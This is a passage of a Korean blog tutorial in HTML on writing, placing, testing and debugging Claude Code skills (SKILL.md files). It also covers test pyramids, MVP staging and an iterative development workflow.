&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;Claude Code에서 다음과 같이 입력해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// Claude Code 대화창에서&lt;/div&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;사용자: 안녕

Claude: 안녕! 반갑다. 오늘도 좋은 하루 되길!
        (hello-skill이 자동으로 활성화됨)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #856404; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;동작하지 않나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다음을 확인해보세요:&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일 경로가 정확한가요? (&lt;code&gt;~/.claude/skills/hello-skill/SKILL.md&lt;/code&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일 이름이 &lt;code&gt;SKILL.md&lt;/code&gt;인가요? (대문자 필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;YAML 형식이 올바른가요? (&lt;code&gt;---&lt;/code&gt;로 감싸져 있나요?)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude Code를 재시작했나요?&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 디렉토리 구조 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 디렉토리 구조 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬을 어디에 둘지 혼동스러울 수 있다. 명확히 정리해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 1px solid #b3d9ff; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;두 가지 저장 위치&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위치&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;경로&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사용 범위&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;추천 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;개인 (Global)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;~/.claude/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 프로젝트에서 사용 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개인용 스킬, 범용적 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프로젝트 (Local)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;해당 프로젝트에서만 사용&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트 특화 스킬&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실제 디렉토리 구조&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 실제 예시 (개인 스킬)
~/.claude/skills/
├── commit-helper/              # 커밋 메시지 생성
│   └── SKILL.md
├── feature-planner/             # 기능 계획
│   ├── SKILL.md
├── code-review-assistant/       # 코드 리뷰
│   └── SKILL.md
└── my-custom-skill/             # 나만의 스킬
    └── SKILL.md

# 프로젝트 스킬
/my-project/
├── .claude/
│   └── skills/
│       └── project-specific/    # 이 프로젝트만의 스킬
│           └── SKILL.md
├── src/
└── README.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px; border-radius: 8px; margin: 20px 0; border-left: 4px solid #28a745;&quot;&gt;
&lt;h4 style=&quot;color: #28a745; margin: 0 0 10px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;추천 저장 위치&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;범용 스킬&lt;/b&gt; (commit-helper, 코드 리뷰 등): &lt;code&gt;~/.claude/skills/&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;프로젝트 스킬&lt;/b&gt; (프로젝트별 컨벤션, 도메인 지식): &lt;code&gt;.claude/skills/&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;팀 공유 스킬&lt;/b&gt;: Git으로 관리하거나 팀 내부 공유 폴더 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 스킬 테스트 &amp; 디버깅 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 스킬 테스트 &amp;amp; 디버깅&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬이 제대로 작동하는지 확인하는 방법이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 자동 호출 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;description에 명시한 키워드로 테스트해보자:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 테스트 예시: commit-helper 스킬&lt;/div&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 테스트 1: 직접 언급
&quot;커밋해줘&quot; &amp;rarr; commit-helper 스킬이 자동 활성화되어야 함

# 테스트 2: 키워드 포함
&quot;커밋 메시지 만들어줘&quot; &amp;rarr; commit-helper 스킬이 자동 활성화되어야 함

# 테스트 3: 영어 혼용
&quot;create commit message&quot; &amp;rarr; commit-helper 스킬이 자동 활성화되어야 함&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 수동 호출 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;명시적으로 스킬을 호출해서 테스트할 수도 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 스킬 명시적 호출&lt;/div&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 스킬 명시적 호출
/skill commit-helper

# 스킬 목록 확인
/skill list&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 그냥 편하게 명시적으로 스킬이름을 지정해두었다면, 자연어로 요청해도 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Skill(commit-helper) 가 호출된것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5YyYW/dJMcabwuyaY/K6sWepYheOTqABrWQcInk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5YyYW/dJMcabwuyaY/K6sWepYheOTqABrWQcInk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5YyYW/dJMcabwuyaY/K6sWepYheOTqABrWQcInk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5YyYW%2FdJMcabwuyaY%2FK6sWepYheOTqABrWQcInk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;218&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.3 흔한 문제 &amp;amp; 해결법&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff9e6;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;문제&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;증상&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;해결법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;파일 못 찾음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&quot;Skill not found&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;경로 확인: &lt;code&gt;~/.claude/skills/스킬이름/SKILL.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;자동 호출 안 됨&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;키워드로 반응 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;description이 50자 이상인지 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;YAML 에러&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;파싱 오류&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;code&gt;---&lt;/code&gt;로 감싸져 있는지, 들여쓰기 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;잘못된 스킬 활성화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;다른 스킬이 활성화됨&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;description을 더 구체적으로 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #856404; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;디버깅 팁&lt;/h4&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;간단한 description으로 시작:&lt;/b&gt; 복잡한 스킬은 간단하게 시작해서 점진적으로 확장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로그 확인:&lt;/b&gt; Claude Code의 로그에서 스킬 로딩 메시지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;다른 스킬 비활성화:&lt;/b&gt; 충돌을 피하기 위해 일시적으로 다른 스킬 제거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;재시작:&lt;/b&gt; 스킬 파일 수정 후 Claude Code 재시작&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 스킬 테스트 전략 및 반복 개발 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 스킬 테스트 전략 및 반복 개발&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬을 개발할 때 체계적인 테스팅 전략과 반복적 개발 방법론을 적용하면 품질이 높고 유지보수가 쉬운 스킬을 만들 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 테스트 피라미드 접근법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬 테스트는 &lt;b&gt;테스트 피라미드&lt;/b&gt; 방식으로 구성하는 것이 효과적이다. &lt;br /&gt;기본 단위에서 시작하여 점진적으로 통합 및 사용자 수준 테스트로 확장해 나간다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e3f2fd;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;테스트 레벨&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;목적&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;실행 빈도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;단위 테스트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;개별 스킬 단계 검증&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;코드 변경 시마다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;통합 테스트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;스킬 간 상호작용 검증&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;커밋 시마다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;UAT&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;실제 사용자 시나리오 검증&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;릴리스 전&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 MVP 접근법 (Minimum Viable Product)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬 개발 시 &lt;b&gt;MVP 접근법&lt;/b&gt;을 사용하여 빠르게 피드백을 받고 반복한다. 완벽한 스킬을 만드는 대신, 핵심 기능만 먼저 구현하고 점진적으로 개선한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff9e6;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;MVP 단계&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;목표&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;기간&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;성공 기준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;v0.1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;기본 기능 검증&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;1-2시간&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;핵심 단계가 실행됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;v0.5&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;오류 처리 추가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;하루&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;일반적인 오류를 처리함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;v1.0&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;문서화와 테스트&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;2-3일&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;팀원들이 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;b&gt;v2.0+&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;고급 기능 추가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;지속적&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;사용자 피드백 반영&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 테스트 우선 개발 (Test-First)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬을 구현하기 &lt;b&gt;전에&lt;/b&gt; 테스트를 먼저 작성하는 방식이다. 이 방식은 스킬의 요구사항을 명확히 하고, 구현 시 실수를 방지하며, 리팩토링을 안전하게 만든다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 테스트 우선 개발 프로세스&lt;/div&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;1. 요구사항 정의
   └─ &quot;배포 스킬은 빌드 실패 시 자동으로 롤백해야 한다&quot;

2. 실패하는 테스트 작성
   └─ build_fail_rollback_test.yaml 작성
   └─ 테스트 실행 (당연히 실패)

3. 최소한의 구현
   └─ 롤백 로직만 구현
   └─ 테스트 통과 확인

4. 리팩토링
   └─ 코드 개선
   └─ 테스트 여전히 통과

5. 반복
   └─ 다음 요구사항으로 이동&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.4 반복적 개발 워크플로우&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬 개발은 한 번에 완성하는 것이 아니라, 짧은 주기로 반복하며 개선한다. 각 반복에서 사용자 피드백을 수집하고 스킬을 발전시킨다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5e9;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #a5d6a7; font-weight: 600;&quot;&gt;반복 단계&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #a5d6a7; font-weight: 600;&quot;&gt;활동&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #a5d6a7; font-weight: 600;&quot;&gt;산출물&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #a5d6a7; font-weight: 600;&quot;&gt;다음 단계 진입 조건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;&lt;b&gt;Plan&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;다음 기능 계획&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;이슈 목록&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;우선순위 합의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fff8;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;&lt;b&gt;Develop&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;기능 구현&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;작동하는 코드&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;단위 테스트 통과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;&lt;b&gt;Test&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;테스트 수행&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;테스트 결과&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;모든 테스트 통과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fff8;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;&lt;b&gt;Deploy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;배포 및 모니터링&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;배포된 버전&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;치명적 버그 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;&lt;b&gt;Feedback&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;사용자 피드백 수집&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;개선점 목록&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #a5d6a7;&quot;&gt;다음 반복 계획&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
